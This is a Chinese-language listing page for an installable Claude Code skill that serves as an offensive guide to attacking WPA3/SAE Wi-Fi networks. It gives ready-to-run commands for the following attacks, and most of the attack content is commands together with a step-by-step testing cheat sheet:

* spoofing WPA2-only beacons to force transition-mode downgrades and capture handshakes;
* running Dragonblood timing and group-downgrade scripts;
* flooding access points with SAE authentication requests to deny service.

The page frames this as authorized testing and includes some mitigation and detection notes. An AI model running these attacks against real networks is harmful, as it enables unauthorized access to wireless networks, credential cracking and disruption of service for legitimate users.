mcpField
O
offensive-wpa3-sae

offensive-wpa3-sae

github.com/snailsploit安全9.7k173 次安装2 周前更新
代码仓库

关于 offensive-wpa3-sae

面向无线安全测试人员的 WPA3 / SAE 攻击技能指南,涵盖过渡模式降级、Dragonblood 侧信道和认证洪泛。它还说明 H2E、修补版本及 6 GHz 网络对攻击适用性的影响。

主要功能

  1. 01识别 WPA3 与过渡模式配置
  2. 02评估 SAE 降级和侧信道风险
  3. 03检查 H2E 与实现修补状态
  4. 04测试 SAE 认证洪泛风险
  5. 05梳理检测线索及适用条件

适用场景

  1. 01评估混合 WPA2 / WPA3 网络的降级风险
  2. 02检查嵌入式接入点的 Dragonblood 适用性
  3. 03在授权范围内评估 SAE 拒绝服务风险
  4. 04判断 6 GHz 网络的攻击面

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-wpa3-sae

安装后在 Claude Code 中输入/offensive-wpa3-sae确认已加载。

详细介绍

WPA3 / SAE 攻击

WPA3 通过用 SAE(一种源自 Dragonfly 的密码认证密钥交换)取代 4 次握手 PSK 交换,修复了 WPA2 可离线破解握手的弱点。直接离线破解不再可行,但过渡模式配置错误以及原始 SAE 实现中的侧信道泄漏开辟了新的攻击路径。

快速工作流

  1. 确认目标广播了 WPA3(RSN IE 显示 AKM SAE = 8)
  2. 检查是否启用了过渡模式(WPA2 + WPA3 混合)——这是最简单的路径
  3. 如果是纯 WPA3,识别 AP 的 hostapd 版本,判断 Dragonblood 攻击是否适用
  4. 如果可行,尝试侧信道计时攻击或缓存攻击
  5. 否则,接受离线破解不可行这一事实,转向其他攻击面

过渡模式降级

如果 AP 同时广播 WPA2-PSK 和 WPA3-SAE(供客户端混用的过渡模式),就可以迫使旧客户端使用 WPA2:

# Identify transition mode in beacon frames
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption column shows WPA2 WPA3 (both)

步骤:

  1. 使用相同的 BSSID/SSID,伪造一个仅广播 RSN-WPA2 的信标
  2. 客户端漫游到你的信标,并执行 WPA2 4 次握手
  3. 像 offensive-wpa2-psk 中一样捕获握手
# Use hostapd-mana or airbase-ng for the WPA2-only AP advertisement
airbase-ng -e CorpWiFi -c 6 -W 1 wlan0mon
# -W 1 enables WPA, configure for WPA2-only RSN element

原理: 如果 AP 仅广播 WPA2,WPA3-SAE 客户端就会回退到 WPA2-PSK——过渡模式没有防止降级的保护机制。仅 WPA3 模式(无过渡模式)可以阻止这种攻击。

防御者采用的缓解措施: 使用仅 WPA3 网络(不启用 WPA2)。按照规范,Wi-Fi 6E(6 GHz)必须采用仅 WPA3 模式。

Dragonblood(CVE-2019-9494 / 9495 / 13377 / 13456)

针对 2.10 之前版本的 hostapd / wpa_supplicant 中 SAE 猎取与探测算法的侧信道攻击和降级攻击。

基于缓存的侧信道

原始 SAE 密码元素推导过程的迭代次数会因密码和 MAC 而异。缓存命中会泄漏迭代次数。

git clone https://github.com/vanhoefm/dragonblood
cd dragonblood

# Cache-based attack (requires co-located malicious code on target host — limited)
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
计时侧信道

通过从外部观测 SAE 提交阶段的计时,也会泄漏相同的迭代次数。

python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing
降级至弱群组

如果客户端请求,某些实现会接受使用已弃用的 MODP 群组 5 的 SAE。结合缓存或计时侧信道,可发动离线字典攻击。

python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
已修复版本
实现修复版本
hostapd / wpa_supplicant2.10(2022 年 4 月)
Apple iOS / macOS2019 年补丁
Windows2019—2020 年通过 KB 发布补丁
嵌入式路由器通常未打补丁——消费级 SOHO 设备的命中率很高

哈希到元素(H2E)

WPA3 R2 引入 H2E,以取代会泄漏迭代次数的猎取与探测算法。H2E 为恒定时间算法。如果 AP 在 RSNXE 元素中广播 H2E,则 Dragonblood 类攻击不适用。

# Wireshark filter
wlan.rsnx.field.h2e

如果存在 H2E 且要求必须使用(不回退到猎取与探测算法),那么就只剩下针对规范本身的攻击——放弃 SAE 攻击,转向其他攻击面(检查 PMF、如果使用 Enterprise 则通过 EAP 发动邪恶双胞胎攻击,或通过管理帧进行供应链攻击)。

SAE 身份验证洪泛(DoS)

SAE 提交阶段要求 AP 对每次关联尝试执行大量椭圆曲线运算。洪泛攻击可能耗尽低端 AP 的 CPU,导致合法客户端无法获得服务。

sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Auth attack mode -a, multiple per second -s 1024

这是 DoS 攻击——仅限获得明确授权时进行。 现代企业 AP 使用防拥塞令牌来限制 SAE 洪泛攻击;消费级路由器通常没有这类机制。

6 GHz / Wi-Fi 6E 的影响

6 GHz 频段(Wi-Fi 6E,5925–7125 MHz 范围内的信道 1–233)要求:

  • 仅 WPA3(无过渡模式)
  • 必须启用 PMF(802.11w)(保护去认证/解除关联)
  • 开放网络必须使用 OWE(机会性无线加密)

总体而言,大多数 WPA3 之前的攻击(去认证、过渡模式降级)不适用于 6 GHz。纯 SAE 侧信道攻击、邪恶双胞胎攻击或带外攻击仍然可行。

检测注意事项

WPA3 的企业级防御方式与 WPA2 大致相同——WIDS 可捕获:

  • 通过指纹不匹配(IE 顺序、厂商特定信息、信标时序)检测信标欺骗(过渡模式降级)
  • 通过每个源 MAC 地址的关联速率检测 SAE 泛洪
  • 检测重复的 SAE 提交失败(时序攻击遥测)

针对已修补的现代 hostapd 发起 Dragonblood 级别攻击并取得成功的可能性很低。消费级 SOHO 和嵌入式 AP 仍在影响范围内。

测试速查表

# 1. Identify mode
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption: WPA2 + WPA3 → transition; WPA3-only → SAE-only

# 2. Transition-mode downgrade attempt
sudo airbase-ng -e <ESSID> -c <ch> -W 1 -z 4 wlan0mon  # WPA2-RSN advertised only

# 3. Wait for client roam, capture WPA2 handshake (handoff to offensive-wpa2-psk)

# 4. If pure WPA3, fingerprint hostapd
# (passive analysis of beacon IE order + version-specific behaviors)

# 5. Run Dragonblood test scripts if pre-2.10 hostapd suspected
python3 dragondrain.py wlan0mon <BSSID>
python3 dragontime.py --bssid <BSSID> --iface wlan0mon

# 6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2

关键参考资料

评论

支持 Markdown